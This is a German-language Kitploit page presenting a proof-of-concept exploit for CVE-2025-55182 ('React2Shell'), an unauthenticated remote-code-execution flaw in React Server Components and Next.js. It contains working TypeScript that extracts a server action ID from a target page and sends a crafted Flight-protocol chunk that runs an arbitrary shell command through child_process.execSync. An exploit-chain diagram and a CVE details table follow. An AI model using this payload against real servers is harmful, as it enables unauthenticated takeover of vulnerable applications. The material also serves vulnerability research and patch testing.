cve-2025-55182-poc — Proof-of-Concept für CVE-2025-55182 (React2Shell): nicht authentifizierte RCE in React Server Components / Next.js über die Deserialisierung des Flight-Protokolls. | Kitploit

Fügen Sie unter next-app/app/ eine Datei actions.ts hinzu und markieren Sie sie als Server Action:

"use server";

export async function testAction(formData: FormData) {
  console.log("Action called with:", formData);
}

Fügen Sie auf der Startseite (z. B. app/page.tsx) ein Formular hinzu, dessen action auf die oben genannte testAction verweist und das mindestens ein Feld enthält (z. B. ein Hidden Input).

Next.js erzeugt für dieses Formular im HTML ein Hidden Input mit name="$ACTION_ID_<40 Zeichen hex>"; der POC extrahiert diese ID per Regex aus dem HTML der Startseite.

const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // handle timeout or error
}

Angreifer sendet bösartigen HTTP-POST-Request
        ↓
[Phase 1] Erstellen eines selbstreferenziellen Schleifenobjekts (Self-referential loop)
        ↓
[Phase 2] JavaScript-Engine dazu verleiten, eine vom Angreifer kontrollierte Funktion aufzurufen
        ↓
[Phase 3] Injizieren bösartiger Daten, um den Flight-Initialisierungsprozess auszulösen
        ↓
[Phase 4] Aufruf des Function-Konstruktors über den Blob-Handler
        ↓
Beliebiger JavaScript-Code wird serverseitig ausgeführt (RCE)

CVE-Kennung	CVE-2025-55182
Alternativname	React2Shell
Schwachstellentyp	Nicht authentifizierte Remote Code Execution (Unauthenticated RCE); CWE-502 Deserialisierung nicht vertrauenswürdiger Daten (Deserialization of Untrusted Data) [3]
CVSS-Score	10.0 (Critical) (CVSS 3.1, Facebook/CNA [2])
Betroffene Pakete	`react-server-dom-parcel`, `react-server-dom-turbopack`, `react-server-dom-webpack`
Betroffene Versionen	React 19.0.0–19.2.0 / Next.js 14.3.0-canary.77 und höher, 15.x, 16.x
Angriffskomplexität	Sehr gering (ein einzelner HTTP-POST-Request)
Authentifizierung erforderlich	Nein

cve-2025-55182-poc

Beliebteste

Ablauf zur Erstellung des POC

1. App mit der offiziellen Syntax erstellen

2. Eine Test-Server-Action erstellen

3. Eine sichere containerisierte POC-Umgebung erstellen

Schritte zur Ausnutzung der Schwachstelle

Schritt 1: ACTION_ID ermitteln

Schritt 2: Exploit ausführen

Schritt 3: Ergebnisse beobachten

Erläuterung des Prinzips

Ort der Schwachstelle

Exploit-Kette

React Server und das Übertragungsformat

Ursache der Schwachstelle

Thenables und await

Vom „gefälschten Chunk" zur RCE

Behebung (Zusammenfassung)

Referenzlinks